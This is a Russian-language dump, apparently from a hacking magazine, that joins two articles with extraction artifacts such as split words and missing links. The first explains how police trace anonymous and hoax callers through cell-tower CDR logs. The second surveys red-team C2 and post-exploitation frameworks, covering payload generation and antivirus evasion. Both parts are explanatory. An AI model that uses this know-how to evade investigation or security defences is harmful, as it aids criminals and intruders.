Уве рен ный в сво ей безопас ности прес тупник ухо дит из дома (если не ухо‐ 
дит  —  с  боль шой  веро ятностью  его  мес тополо жение  опре делят  сра зу  же
или пос тфак тум, про ана лизи ровав логи) и зво нит с одно разо вого телефо на.
Где при этом находит ся его основной телефон? Рас смот рим вари анты.

Кейс 1
Нач нем с рас смот рения самой типич ной ситу ации: «подоз ритель ный» зво нок
совер шает ся  с  одно разо вого,  «ано ним ного»  телефо на,  при  этом  собс твен‐ 
ный телефон прес тупник взял с собой. Ничего неверо ятно го в этом нет; дос‐ 
таточ но почитать полицей ские свод ки, что бы понять, что так дей ству ет боль‐ 
шинс тво.

По лиция зап рашива ет у опе рато ра сотовой свя зи записи CDR за ука зан‐ 
ный пери од. В зависи мос ти от стра ны и дей ству ющих в ней законов опе ратор
воз вра щает либо сырые дан ные, либо ано ними зиро ван ный спи сок устрой ств
(каж дый аппа рат ный иден тифика тор заменя ется на хеш‐фун кцию). Фак тичес‐ 
ки  полиция  получа ет  готовый  спи сок  устрой ств,  под клю чен ных  к  соте,  где
было зарегис три рова но устрой ство, с которо го был совер шен зво нок. Пред‐ 
полага ется,  что  сре ди  этих  устрой ств  будет  при сутс тво вать  и  собс твен ный
телефон прес тупни ка.

К одной и  той же соте может быть одновре мен но под клю чено нес коль ко
тысяч або нен тов, поэто му еди нич ный зап рос мало что даст полиции. Одна ко
если прес тупник поз вонит жер тве еще раз — неваж но, из той же соты или из
дру гой (из дру гой даже луч ше), — полиция получит допол нитель ные выбор ки.
Далее пересе кают ся мно жес тва устрой ств, которые были зарегис три рова ны
в  той  же  соте  на  момент  совер шения  звон ка  с  «ано ним ного»  устрой ства;
как пра вило, на вто рой‐треть ей выбор ке оста ется все го нес коль ко десят ков,
а то и еди нич ные иден тифика торы.

Ра зуме ется,  на прак тике все нес коль ко слож нее. Нап ример,  учи тыва ется
не  толь ко  под клю чение  к  кон крет ной  выш ке,  с  которой  был  сде лан  зво нок,
но и дан ные с сосед них вышек. Исполь зование этих дан ных поз воля ет (и поз‐ 
воляло, кста ти, даже пят надцать лет назад) про извести три ангу ляцию, опре‐ 
делив  мес тополо жение  устрой ства  с  точ ностью  от  нес коль ких  десят ков
до нес коль ких сотен мет ров. Сог ласись, с такой выбор кой работать замет но
при ятнее.

Впро чем,  в  боль ших  городах  с  высокой  плот ностью  населе ния  (ано ним‐ 
ные  звон ки  час то  совер шают  в  люд ных  мес тах)  круг  подоз рева емых  даже
в резуль тате треть ей выбор ки может ока зать ся слиш ком широк. В таких слу‐ 
чаях  (не всег да, но в осо бо важ ных делах)  в игру всту пает ана лиз  «боль ших
дан ных». Под робно об этом мне уда лось узнать два года назад из всту питель‐ 
ной речи на полицей ском кон грес се в Бер лине. Ана литик иссле дует шаб лоны
поведе ния устрой ств, обоз начен ных условны ми иден тифика тора ми. Раз говор
по телефо ну, активное пот ребле ние тра фика, переме щения в прос транс тве,
вре мя регис тра ции в соте и целый ряд допол нитель ных парамет ров поз воля‐ 
ют  исклю чить  зна читель ную  часть  устрой ств,  тем  самым  замет но  сок ратив
круг подоз рева емых.

Вы вод:  лег че  все го  засечь  прес тупни ка,  у  которо го  при  себе  есть  пер‐ 
сональ ное устрой ство (лич ный смар тфон) и который при этом переме щает ся.
Сде лал ано ним ный зво нок из одной соты — очер чено мно жес тво устрой ств.
Сде лал вто рой зво нок из дру гой соты — и спи сок устрой ств, сле дующих тем
же мар шру том, сок ратил ся на порядок.

Кста ти, раз венчаю популяр ный кинош ный шаб лон. Для точ ного опре деле‐ 
ния  мес тополо жения  телефо на  вре мя  его  нахож дения  в  сети  не  игра ет
ни малей шей роли: мес тополо жение опре деля ется момен таль но при регис‐ 
тра ции  телефо на  в  сети  и  сох раня ется  в  логах,  отку да  его  мож но  лег ко
извлечь.  Если  устрой ство  переме щает ся,  то  мес тополо жение  мож но  уста‐ 
новить  еще  точ нее.  Заод но  прой дем ся  по  кон спи роло гам:  вык лючен ный
телефон  не  сооб щает  о  сво ем  мес тополо жении,  даже  если  не  извле кать
из  него  батарей ку  (хорошо,  iPhone  11  может  сооб щать  бла года ря  ,
да  и  то  не  сей час,  а  ког да‐нибудь  в  будущем,  ког да  Apple  вклю чит  эту  воз‐ 
можность в про шив ке).

чи пу  U1

По дыто жим:  прес тупник  вклю чил  аппа рат,  совер шил  ано ним ный  зво нок
или  отпра вил  SMS,  вык лючил  устрой ство  или  извлек  батарей ку.  На  сле‐ 
дующий  день  сно ва  вклю чил,  поз вонил  из  дру гой  час ти  города,  вык лючил.
Спи сок  устрой ств,  которые  могут  при над лежать  прес тупни ку,  сок ратил ся
до нес коль ких штук. Тре тий зво нок поз волил окон чатель но иден тифици ровать
прес тупни ка,  мож но  выез жать.  Все  это  —  без  исполь зования  каких‐либо
спец средств, прос той ана лиз логов по трем вклю чени ям.

Кейс 2
«Кто же ходит на дело с вклю чен ным телефо ном?» — можешь логич но поин‐ 
тересо вать ся  ты.  Дей стви тель но,  пре дус мотри тель ный  прес тупник  может
вык лючить основной телефон перед тем, как совер шить зво нок с ано ним ного
устрой ства.  Очень  хорошо:  теперь  полиции  дос таточ но  пос мотреть  спи сок
устрой ств, которые были отклю чены в момент совер шения ано ним ного звон‐ 
ка. В таком слу чае хва тит и одной ите рации. Если же прес тупник еще и вклю‐ 
чит свой основной телефон пос ле ано ним ного звон ка, то за ним мож но сме ло
отправ лять опер груп пу.

По чему так? Дело в том, что при отклю чении телефон посыла ет соте сиг‐ 
нал, и это поз воля ет раз личить устрой ства, которые были отклю чены, от тех,
которые  покину ли  соту.  При  вклю чении,  соот ветс твен но,  соз дает ся  новая
запись. Прос ледить такие активнос ти — дело нес коль ких кли ков.

Кейс 3
«Да кто вооб ще берет с собой на дело собс твен ный телефон?» Как ни стран‐ 
но,  берут  и  носят,  при чем  далеко  не  толь ко  телефо ны.  Берут  телефо ны
или  оставля ют  дома  телефон,  но  берут  умные  часы;  кста ти,  это  поз волило
полиции  рас крыть  мас су  прес тупле ний.  Боль шинс тво  «телефон ных»  прес‐ 
тупни ков —  далеко  не  про фес сиона лы,  и  зна ния  о  том,  как  фун кци они рует
сотовая  связь,  какие  дан ные  собира ются  и  как  ана лизи руют ся,  у  них
в  зачаточ ном  сос тоянии.  Челове чес кий  фак тор  поз воля ет  полиции  рас кры‐ 
вать мно гие прес тупле ния прос тым сопос тавле нием фак тов.

Ес ли же  прес тупник  дей стви тель но  ни  разу  не  возь мет  с  собой  телефон
(прак тика показы вает, что обыч но хоть раз, но оши бают ся все), то вычис лить
его  может  помочь  ана лиз  боль ших  дан ных.  Мно гое  здесь  будет  зависеть
от  того,  сколь ко  вре мени  готов  пот ратить  и  нас коль ко  серь езные  уси лия
готов при ложить зло умыш ленник для совер шения ано ним ного звон ка, а так же
от того, сколь ко будет таких звон ков.

Ес ли ано ним ных устрой ств мно го
А  если  прес тупник  хитер  и  исполь зует  не  один,  а  нес коль ко  ано ним ных
телефо нов,  избавля ясь  от  ули ки  каж дый  раз  пос ле  звон ка?  Имен но  такая
прак тика час то показы вает ся в филь мах. Про читав пре дыду щие раз делы, ты,
веро ятно,  уже  сооб разил,  что  все,  что  выгады вает  прес тупник  при  исполь‐ 
зовании нес коль ких раз ных устрой ств, — это нес коль ко лиш них секунд ано‐ 
ним ности,  тех,  что  пред шес тву ют  собс твен но  звон ку.  Пос коль ку  звон ки
со всех ано ним ных устрой ств будут при обще ны к делу, у полиции появ ляют ся
допол нитель ные зацеп ки: источник про исхожде ния «ано ним ных» SIM‐карт и,
воз можно,  мес то  покуп ки  одно разо вых  телефо нов.  Совер шался  зво нок
с одно го и того же устрой ства или нес коль ких раз ных, не пов лияет на ход рас‐ 
сле дова ния.

Те лефон ный тер роризм: а если зво нок был дей стви тель но один?
А что, если зво нок был дей стви тель но все го один? Для того что бы сооб щить
о  миниро вании шко лы  или  аэро пор та,  вто рой  зво нок  и  не  нужен:  телефон‐ 
ному  тер рорис ту  дос таточ но  сде лать  ров но  один  зво нок,  пос ле  чего  «зас‐ 
ветив шееся» устрой ство мож но выб росить или унич тожить вмес те с SIM‐кар‐ 
той.

Как  ни  уди витель но,  и  таких  прес тупни ков  час то  ловят,  исполь зуя  опе‐ 
ратив но‐разыс кные  мероп риятия,  отра ботан ные  еще  во  вре мена  звон ков
с улич ных так софонов. Если у прес тупни ка есть пос тоян ный смар тфон, то круг
подоз рева емых мож но рез ко огра ничить, про ведя ана лиз по пер вому из опи‐ 
сан ных  в  статье методов.  Таким  обра зом,  даже  в  городе‐мил лион нике  круг
подоз рева емых  сужа ется  до  нес коль ких  сотен  (ред ко  —  тысяч)  або нен тов.
Если  речь  идет  о  «миниро вании»  шко лы,  то  мно жес тво  «подоз ритель ных»
або нен тов  пересе кает ся  со  мно жес твом  уче ников  шко лы.  С  теми,  кто
остался, опе ратив нику будет дос таточ но прос то погово рить.

По мога ет в рас кры тии телефон ного тер рориз ма и то, что такие прес тупни‐ 
ки,  как  пра вило,  сла бо  пред став ляют  себе  воз можнос ти  и  осо бен ности
работы опе ратив ников и ста рают ся защитить ся от при думан ных, несущес тву‐ 
ющих  опас ностей,  совер шенно  игно рируя  оче вид ное. Два  года  назад  офис
наших  кол лег  (по  слу чай ному  сов падению  —  так же  раз работ чиков  ПО  для
полиции) был эва куиро ван по звон ку от неиз вес тно го, сооб щивше го о взрыв‐ 
ном  устрой стве  в  зда нии.  Не  прош ло  и  нес коль ких  часов,  как  полиция  уже
задер жала  прес тупни ка.  Прес тупни ком  ока залась  сумас шедшая  бабуш ка,
которая  хотела  насолить  соседям,  но  перепу тала  адрес.  Не  помог  ни  спе‐ 
циаль но куп ленный мсти тель ной ста руш кой кно поч ный телефон, ни «ано ним‐ 
ная» (а точ нее — зарегис три рован ная на несущес тву ющие ФИО) SIM‐кар та.

А если зво нить через VoIP, исполь зуя VPN?
Ес ли тебе в голову приш ла мысль, что дей стви тель но ано ним ный зво нок мож‐ 
но совер шить через сер вис VoIP  (желатель но бес плат ный,  что бы не све тить
пла теж ные средс тва), да еще и через сер вис VPN, который не хра нит логи, —
поз драв ляю, ты мыс лишь как самый нас тоящий бан дит.

Ра зуме ется,  всег да  есть  веро ятность  «про колоть ся»,  забыв  про кон тро‐ 
лиро вать соеди нение с сер вером VPN или слу чай но вой дя с собс твен ными,
а не «ано ним ными» дан ными для звон ков. Что бы такого не про изош ло, прес‐ 
тупные  груп пиров ки  идут  на  серь езные  тра ты,  заказы вая  изго тов ление
модифи циро ван ных  (на прог рам мном уров не) телефо нов. 

,  показал  мас штаб  опе раций.  Нес мотря  на  то  что  эту
кри миналь ную  сеть  полиции  уда лось  нак рыть  (и  получить  кон троль
над инфраструк турой  зашиф рован ных  ком муника ций,  которой поль зовались
прес тупни ки),  в полиции понима ют,  что это лишь пер вый шаг.  «Прес тупни ки
неиз бежно миг риру ют на дру гие сер висы, и мы пред став ляем, какие имен но.
Не  буду  показы вать  паль цем,  но  рано  или  поз дно мы  доберем ся  и  до  них»
(помощ ник комис сара AFP Гоган).

Слу чай с арес том
CEO  ком пании,  про изво дящей  такие  устрой ства  на  осно ве  ста рень ких
телефо нов  BlackBerry

КАК ПРОИСХОДИТ АНАЛИЗ
В  , опуб ликован ном ITU (Рес публи ка Гви нея), доволь но под робно опи‐ 
саны  как  методы,  так  и  инс тру мен ты,  которы ми  поль зуют ся  ана лити ки.
В целом про цесс мож но изоб разить так.

от чете

И чуть более деталь но.

Все, что нуж но полицей ским, — это собс твен но «сырые» дан ные CDR и софт,
при помощи которо го их мож но заг рузить и про ана лизи ровать («сырые» дан‐ 
ные малоп ригод ны для ана лиза вруч ную, но отфиль тро ван ные впол не мож но
вывес ти на экран в тек сто вом виде или рас печатать).

О  популяр ности  это го  спо соба  рас сле дова ния  говорит  тот  факт,  что
записи CDR под держи вает чуть ли не каж дый серь езный кри мина лис тичес кий
пакет.  При меры:  ,  ,  ,  ,  рос сий ский

,   и мно‐ 
гие дру гие. Впро чем, нам при ходи лось общать ся и с полицей ски ми, успешно
исполь зующи ми в работе связ ку из Google Maps и Microsoft Excel.

Penlink HAWK  Analytics GeoTime CSAS
«Мобиль ный кри мина лист» от Oxygen Software Advanced Cell Tracking

Без  сом нения,  на  воору жении  у  спец служб  есть  спец техни ка,  поз воля‐ 
ющая  подавить  сотовую  связь,  под менить  базовую  стан цию  или  под делать
коор динаты GPS. Вот толь ко полиция не исполь зует боль шую часть этой тех‐ 
ники — по край ней мере, в рас сле дова нии рутин ных прес тупле ний телефон‐ 
ных тер рорис тов и вымога телей. Дорого, сует но, зат ратно по вре мени, да и
по  боль шому  сче ту  не  нуж но,  а  иног да  и  неэф фектив но.  Ана лиз  логов CDR
(Call Detail Record) — гораз до более эффектив ное вло жение вре мени и сил.

По каза телен  слу чай,  про изо шед ший  нес коль ко  лет  назад  в  Великоб‐ 
ритании.  Полиция  вела  наб людение  за  одним  из  бос сов  нар кокар теля.
Задер жать не проб лема, но доказа тель ств нет, дело бы раз валилось в суде.
По мне нию полиции, в телефо не прес тупни ка (он поль зовал ся iPhone) мог ли
содер жать ся жиз ненно необ ходимые ули ки, но взло мать код бло киров ки дос‐ 
таточ но  све жей  модели  на  тот  момент  не  пред став лялось  воз можным.
В  резуль тате  была  раз работа на  опе рация;  за  прес тупни ком  велось  наб‐ 
людение. Как  толь ко он взял  телефон, раз бло киро вал его и начал набирать
текст, нар кобаро на задер жали, а телефон бук валь но выр вали из рук.

Ин терес на здесь не пре дыс тория, а такая нез начитель ная деталь: для того
что бы довез ти iPhone прес тупни ка до лабора тории в раз бло киро ван ном сос‐ 
тоянии,  был  наз начен  спе циаль ный  полицей ский,  вся  работа  которо го  сво‐ 
дилась  к  тому,  что бы  пери оди чес ки  про водить  паль цем  по  экра ну,  не  поз‐ 
воляя устрой ству зас нуть. (Не нуж но счи тать полицей ских прос тофиля ми: все
в  кур се,  что  есть  нас трой ка,  кон тро лиру ющая  вре мя,  через  которое  экран
телефо на  вык люча ется,  а  сам  телефон  бло киру ется.  А  вот  о  том,  что
на  телефон лег ко,  в  пару  кли ков, мож но  уста новить про филь  кон фигура ции,
который  зап реща ет  отклю чение  авто мати чес кой  бло киров ки,  зна ют  уже
не все.) Телефон успешно довез ли до лабора тории, дан ные извлек ли, нуж ные
ули ки получи ли.

КАК-ТО ЭТО ВСЕ… НЕНАДЕЖНО!
Ес ли  пос ле  проч тения  этой  статьи  у  тебя  воз никло  впе чат ление,  что  осно‐ 
вывать  при говор  на  дан ных,  получен ных  от  сотовых  опе рато ров,  как‐то
не  сов сем  пра виль но,  пос пешу  сог ласить ся.  Более  того,  с  тобой  сог ласен
и  Вер ховный  суд  Дании, 

.  Зап рет  воз ник  не  на  ров ном
мес те: из 10 700 обви нитель ных при гово ров, осно ван ных на этих дан ных (что
немало  для  спо кой ной  неболь шой  стра ны)  уже  32  челове ка  приз наны
невинов ными в резуль тате допол нитель ных про верок. По сло вам дирек тора
Ассо циации индус трии телеком муника ций, «эта инфраструк тура соз давалась
для  обес печения  услуг  свя зи,  а  не  для  слеж ки  за  граж данами».  «Попыт ка
истолко вать  эти  дан ные  при водит  к  ошиб кам»,  а  «доказа тель ства,  которые
выг лядят  осно ван ными  на  точ ных  тех ничес ких  изме рени ях,  вов се  не  обя‐ 
затель но обла дают высокой цен ностью в суде».

ог раничив ший  исполь зование  дан ных  мес тополо‐ 
жения  из  записей  CDR  сто роной  обви нения

На  боль шинс тве  кур сов  повыше ния  ква лифи кации  для  работ ников
полиции  обя затель но  говорят,  что  нель зя  пол ностью  доверять  циф ровым
ули кам  незави симо  от  спо соба,  которым  те  были  получе ны.  Рас ска зыва ют
о  делах,  ког да  мес тополо жение  подоз рева емо го  опре деля лось  на  осно ве
метадан ных из фотог рафий, которые были син хро низи рова ны через обла ко,
а не сня ты самим устрой ством.

По каза телен  слу чай,  ког да  ответ  на  вхо дящий  зво нок  был  истолко ван
как «отвле чение вни мания при вож дении», при вед шее к ава рий ной ситу ации.
На  самом  же  деле  кно поч ный  тог да  еще  телефон  мир но  лежал  в  кар мане
у водите ля, но из‐за слу чай но зажатой кноп ки телефон «отве тил» на зво нок,
что и было зарегис три рова но опе рато ром. Защита смог ла оправдать водите‐ 
ля, доп росив вто рого або нен та, который и показал, что раз говор не сос тоял‐ 
ся  (кста ти,  что  там было «на самом деле», неиз вес тно, но суд встал на сто‐ 
рону обви няемо го).

Уве рен,  такой  слу чай  далеко  не  единс твен ный.  Дан ные  CDR  —  прек‐ 
расный инс тру мент в руках опе ратив ника, но ненадеж ный в качес тве доказа‐ 
тель ной базы.

ЗАКЛЮЧЕНИЕ
Ка кие выводы мож но сде лать из этой статьи? Сей час, ког да лич ный смар тфон
или хотя бы кно поч ный телефон есть прак тичес ки у  каж дого, любой человек
оставля ет «циф ровой след». След этот содер жит замет но боль ше информа‐ 
ции,  а  доб рать ся  до  него  зна читель но  про ще,  чем  мно гие  осоз нают.
Для  получе ния  всей  инте ресу ющей  информа ции  полиции  нуж на  лишь  одна
зацеп ка, которой может стать аппа рат ный иден тифика тор лич ного смар тфо на
прес тупни ка, даже если тот ни разу не вос поль зовал ся лич ным устрой ством
в прес тупных целях. Получе ние такой зацеп ки — резуль тат обыч ного, рутин‐ 
ного  ана лиза  логов  опе рато ров  мобиль ной  свя зи.  Спец средс тва  не  нуж ны,
кон спи роло гия  не  нуж на,  все  про исхо дит  и  гораз до  про ще,  и  инте рес нее.
Вмес то  погонь  и  стрель бы  —  кабинет ная  работа  с  ана лити чес кой  прог‐ 
раммой, прос той базой дан ных или даже с рас печат ками.
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Сбербанка

ВЗЛОМ

В  этой  статье  мы  погово рим  о  фрей мвор ках,  которые
помогут  экс плу ати ровать  уяз вимос ти,  зак репить ся  и  прод‐ 
винуть ся  в целевой инфраструк туре. Для это го рас смот рим
основные  акту аль ные  про екты,  их  фун кции  и  осо бен ности.
Наде юсь, ты най дешь для себя что‐нибудь новень кое или по
ходу чте ния при дума ешь, как сде лать свой рабочий про цесс
еще эффектив нее.

WARNING

Вся  информа ция  пре дос тавле на  исклю читель но
в озна коми тель ных целях. Ни редак ция, ни автор
не  несут  ответс твен ности  за  любой  воз можный
вред, при чинен ный информа цией из этой статьи.

Экс плу ата ция  пред став ляет  собой  пос ледова тель ность  дей ствий,  которая
помога ет  ата кующе му  получить  дос туп  к  иссле дуемой  сис теме,  исполь зуя
уяз вимость  или  ошиб ку  в  нас трой ках.  А  раз  это  пос ледова тель ность  дей‐ 
ствий, зна чит, ее мож но и нуж но авто мати зиро вать.

Ес ли ты выс тупа ешь на сто роне Red Team, то тебе в работе прос то необ‐ 
ходимы инс тру мен ты, которые помогут авто мати зиро вать выпол нение рутин‐ 
ных опе раций. При этом важ но обес печить высокий уро вень скрыт ности и  к
тому же иметь воз можность работать сов мес тно с дру гими учас тни ками Red
Team.

Сто ит учи тывать, что боль шинс тво кри тич ных сис тем в наше вре мя пря чет‐ 
ся за сис темами обна руже ния и пре дот вра щения втор жений  (IDS,  IPS) и им
подоб ными ком плек сами, а на рабочих стан циях раз верну ты средс тва анти‐ 
вирус ной  защиты. В  таких  слу чаях нуж на более  тща тель ная раз ведка с  при‐ 
мене нием  в  том  чис ле  соци аль ной  инже нерии,  что бы  иметь  пред став ление
о струк туре и ата куемых ресур сах.

Как извес тно, иде аль ных сис тем не быва ет — всег да най дет ся  уяз вимое
мес то,  где  мож но  зак репить ся  и  прод винуть ся  вглубь.  Но  если  у  тебя
одна‐единс твен ная точ ка вхо да, то каж дый твой шаг дол жен быть дос кональ‐ 
но про думан и каж дое решение дол жно быть тща тель но взве шено.

ЧТО ТАКОЕ ПОСТЭКСПЛУАТАЦИЯ?
Итак, ты, воору жив шись сво им любимым Nmap или Masscan, с любопытс твом
рас смат рива ешь  резуль таты  рекона  и  уже,  навер ное,  потира ешь  руки,
переби рая в голове пер вые при шед шие на ум экс пло иты, ана лизи руешь воз‐ 
можнос ти и пред вку шаешь будущие заво ева ния. :)

Как  понят но  из  самого  тер мина,  пос тэкс плу ата ция  озна чает  в  основном
дей ствия,  которые  сле дуют  пос ле  того,  как  ата куемая  инфраструк тура  была
ском про мети рова на.  Цен ность  взло ман ной  сис темы  опре деля ется
весомостью фак тичес ких дан ных, хра нящих ся в ней, и тем, как ты можешь их
исполь зовать в сво их целях.

То  есть  пос тэкс плу ата ция  —  это,  по  сути,  то,  как  мож но  исполь зовать
информа цию  о  ском про мети рован ной  цели.  На  дан ном  эта пе  речь  идет
о  сбо ре  кон фиден циаль ной  информа ции,  ее  докумен тирова нии,  а  так же
о нас трой ках кон фигура ции, сетевых интерфей сах и дру гих каналах свя зи.

Для ата кующе го важ но хорошо ори енти ровать ся и пред став лять, где какие
дан ные  хра нят ся,  а  так же быс тро переме щать ся  внут ри ата куемой сис темы,
обес печивая мак сималь ную скрыт ность:  исполь зовать прок си‐сер веры,  тун‐ 
нелиро ван ные соеди нения (pivot) и так далее.

При боль шом ско упе сетевых ресур сов быва ет слож но опе ратив но разоб‐ 
рать ся и понять, где какие уяз вимос ти най дены, какие логины и пароли к чему
отно сят ся, какие сетевые зоны безопас ности отку да дос тупны, где заг ружен
пей лоад и где мож но повысить при виле гии.

В  таких  ситу ациях  и  выруча ют  фрей мвор ки,  которые  объ еди няют  в  себе
нуж ную информа цию и дают воз можность быс тро рулить про цес сом и прод‐ 
вигать ся в ата куемой сис теме. В них же могут вхо дить и более удоб ные инс‐ 
тру мен ты пос тэкс плу ата ции.

METASPLOIT FRAMEFORK
https://www.metasploit.com

Нач нем, конеч но же, с Metasploit Framework ком пании Rapid 7. На момент
написа ния статьи дос тупна вер сия 5.0.48. У Metasploit сегод ня боль ше все го
модулей  —  есть  средс тва  поч ти  на  все  слу чаи  жиз ни.  Так же  он  работа ет
с локаль ной базой дан ных, которая может вклю чать информа цию по ска ниро‐ 
ванию, обна ружен ные учет ные записи и про чее.

Этот фрей мворк с обо лоч кой Armitage может выс тупать и в роли сер вера
C2 (Command and Control). В качес тве основной полез ной наг рузки исполь‐ 
зует ся  Meterpreter  —  инте рак тивная  обо лоч ка,  с  помощью  которой  ата‐ 
кующий  может  иссле довать  целевую  машину,  выпол нять  коман ды  ОС,
инжектить  полез ную  наг рузку  в  легитим ные  про цес сы  и  мно гое  дру гое.
Для генера ции полез ной наг рузки слу жит инс тру мент msfvenom.

INFO

О  генера ции  пей лоада  и  его  кодиро вании  читай
в  статье  «

».

Эн кодеры  msfvenom.  Раз бира емся
с  кодиро вани ем  боевой  наг рузки  при  бинар ной
экс плу ата ции

Metasploit полезен как в экс плу ата ции уяз вимос тей, так и в пос тэкс плу ата ции.
Име ется воз можность обхо да средств анти вирус ной защиты, сис тем пре дот‐ 
вра щения  втор жений  (IPS)  и  дру гих  тех нологий  безопас ности.  В  нем  ты
можешь написать свой собс твен ный модуль на одном из трех язы ков — Go,
Python  или  Ruby,  а  так же  запус тить  RESTful‐сер вис  на  базе  PostgreSQL
для под клю чения нес коль ких кон солей Metasploit или внеш них инс тру мен тов.

Это  самый  популяр ный  фрей мворк,  у  него  боль шое  комь юни ти,  и  о  нем
написа ны горы докумен тации и полез ных советов, поэто му мы спо кой но идем
даль ше.

COBALT STRIKE
https://www.cobaltstrike.com

Пос ледняя  вер сия  —  3.14  от  мая  2019  года.  Это  отличный  фрей мворк
для  экс плу ата ции  и  пос тэкс плу ата ции.  В  качес тве  пей лоада  исполь зует ся
beacon, у которо го есть воз можнос ти обфуска ции и фри за для обхо да анти‐ 
виру сов. Под держи вает миг рацию в про цес сы. Под ходит в качес тве сер вера
C2 —  осо бен но  удоб но  ори енти ровать ся  при  боль шом  ско упе.  Из  короб ки
име ет  генера тор полез ных наг рузок в один клик, а  так же раз личные методы
дос тавки, что эко номит немало вре мени.

Кре до  Cobalt  Strike  —  это  скрыт ность.  Beacon  боль шую  часть  вре мени
находит ся в сос тоянии фри за или сна, и на C2 отправ ляет ся толь ко «сер дце‐ 
биение» (Heartbeat), так что обна ружить его неп росто.

Са мый  круп ный  недос таток  «Кобаль та»  —  он  недос тупен  для  рядовых
поль зовате лей. Cobalt Strike — ком мерчес кий про дукт, и раз работ чики серь‐ 
езно  отно сят ся  к  рас простра нению.  Есть  проб ный  пери од  на  21  день,  но  в
таком режиме ты стол кнешь ся с сущес твен ными огра ниче ниями.

Cobalt  Strike  генери рует  собс твен ные  исполня емые фай лы  и  биб лиоте ки
DLL с помощью Artifact Kit. Они,  в  свою оче редь, отправ ляют полез ную наг‐ 
рузку, что помога ет обой ти некото рые анти виру сы. Проб ная вер сия вклю чает
толь ко шаб лон Artifact Kit без воз можнос ти соз давать исполня емые фай лы.

Так же три аль ная вер сия «Кобаль та» не заг ружа ет и не исполь зует гиб кие
про фили  C2.  Это  фун кция,  которая  поз воля ет  поль зовате лям  изме нять
сетевые инди като ры в полез ной наг рузке Beacon. Каж дый HTTP‐зап рос GET
проб ной вер сии вклю чает заголо вок X‐Malware со стро кой EICAR в качес тве
содер жимого.  Ана логич но  модули  для  атак  на  Java  вклю чают  файл  EICAR
внут ри пакетов .jar.

И  наконец,  из  проб ной  вер сии  уда лен  основной  энко дер  полез ной  наг‐ 
рузки  Cobalt  Strike.  Все  эти  огра ниче ния  сде ланы  для  того,  что бы  проб ную
вер сию нель зя было исполь зовать в зло наме рен ных целях.

INFO

 (или   — от European Insti‐
tute  for  Computer  Antivirus  Research)  —
это  неболь шой  68‐бай тный  COM‐файл,  который
не явля ется вирусом, а все го лишь выводит  тек‐ 
сто вое сооб щение и воз вра щает управле ние опе‐ 
раци онной сис теме. Файл был соз дан как еди ный
стан дарт  про вер ки  работы  анти виру са  и  пред‐ 
став ляет собой такой набор бай тов:

EICAR EICAR‐Test‐File

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR‐
STANDARD‐ANTIVIRUS‐TEST‐FILE!$H+H*

COVENANT
https://github.com/cobbr/Covenant

Пе рехо дим к менее популяр ным, но все еще дос той ным вни мания вари‐ 
антам.  Covenant  —  это  опен сор сный  фрей мворк  для  пос тэкс плу ата ции,
который работа ет на  .NET Core. У Covenant есть под дер жка Docker, что поз‐ 
воля ет  лег ко  под нять  кон тей нер  с  ним  на  любой  сис теме.  В  сос тав  фрей‐ 
мвор ка вхо дят три ком понен та: Covenant — сер верная часть, Elite — кон соль‐ 
ный  кли ент  (вре мен но  исклю чен  для  доработ ки  в  пос леднем  релизе)
и Grunt — имплант.  У  это го фрей мвор ка  понят ный и  прос той поль зователь‐ 
ский веб‐интерфейс, дос тупны три поль зователь ские роли.

По умол чанию веб‐интерфейс работа ет на пор те 7443

Ос новное  пред назна чение — слу жить  сер вером C2  для Red  Team.  Генери‐ 
ровать полез ную наг рузку мож но пря мо из веб‐интерфей са либо из кон соль‐ 
ной час ти. Вот все дос тупные вари анты.

На  даш борде  —  активные  сес сии,  спи сок  задач  для  имплан тов  и  спи сок
listeners.

То есть при коман дной работе ата кующие видят, какая информа ция и отку да
уже получе на, где какой тип имплан тов акти вен и так далее. Резуль таты сох‐ 
ранены в виде тикетов с номера ми, сох раня ется так же вывод команд.

Стра ница  редак тирова ния  про филя  listener  поз воля ет  изме нять  любой
параметр, вклю чая заголов ки зап росов и отве тов, обратные вызовы, а так же
фор маты зап росов и отве тов. Для удобс тва вос при ятия есть граф, где отоб‐ 
ража ются свя зи вида «listener — родитель ский узел — дочер ний узел».

Вся соб ранная информа ция с ата куемых ресур сов катего риро вана. У фрей‐ 
мвор ка есть инте рак тивная коман дная обо лоч ка с под свет кой всех дос тупных
команд.

Covenant  мож но  кас томизи ровать,  соз давая  свои  шаб лоны.  А  так же  он
отлично под ходит для решения задач пос тэкс плу ата ции Windows.

APFELL
https://github.com/its‐a‐feature/Apfell

Apfell — кросс‐плат формен ный фрей мворк для пос тэкс плу ата ции, пос тро‐ 
енный на базе Python 3 и Docker. Как и Covenant, он рас счи тан в пер вую оче‐ 
редь на исполь зование учас тни ками Red Team в качес тве сер вера C2.

По сути, Apfell при меня ет веб‐кон тей неры и кон тей неры Docker для внут‐ 
ренней  час ти,  где  сер вер  на  Python  обра баты вает  боль шую  часть  веб‐зап‐ 
росов  через  RESTful  API  и  WebSockets.  Затем  этот  сер вер  обра баты вает
соеди нения  с  базой  дан ных  PostgreSQL  и  свя зыва ется  с  дру гими  кон тей‐ 
нерами  Docker  через  RabbitMQ.  Это  поз воля ет  раз мещать  отдель ные  ком‐ 
понен ты  на  отдель ных  физичес ких  компь юте рах  или,  при  необ ходимос ти,
на раз ных вир туаль ных машинах.

Фрей мворк  спо собен  объ еди нять  работу  нес коль ких  команд.  В  менед‐ 
жере  опе раций  мож но  пос мотреть  ста тус,  нас тро ить  пра ва  и  свя зи.  Целью
раз работ чиков Apfell было соз дание прос того окру жения, где аген ты нас тра‐ 
ивают ся по прин ципу plug‐and‐play.

Про цесс  сбор ки  пре дель но  быс трый  и  незамыс ловатый  бла года ря  под дер‐ 
жке  Docker.  База  дан ных  содер жит  всю  основную  информа цию  для  ата‐ 
кующих:  най ден ные  учет ные  записи,  пей лоады,  тас ки,  рес понсы,  фай лы
и скри ны. Apfell поз воля ет исполь зовать в рабочем про цес се клас сифика цию
MITRE ATT&CK. А еще каж дую активность мож но ком менти ровать, что помога‐ 
ет работать в еди ном информа цион ном прос транс тве с  кол легами. Генера‐ 
ция полез ных наг рузок про исхо дит в веб‐интерфей се, есть кон соль управле‐ 
ния аген тами.

Apfell — дос той ный фрей мворк,  но  толь ко для  выпол нения  задач Red Team.
Для дру гих задач он вряд ли подой дет из‐за сво ей узкой нап равлен ности.

FACTION C2
https://www.factionc2.com

Фрей мворк  для  пос тэкс плу ата ции.  Как  ты  уже  догадал ся,  это  оче ред ная
плат форма  для  раз верты вания  C2.  Она  обес печива ет  лег кость  вза имо дей‐ 
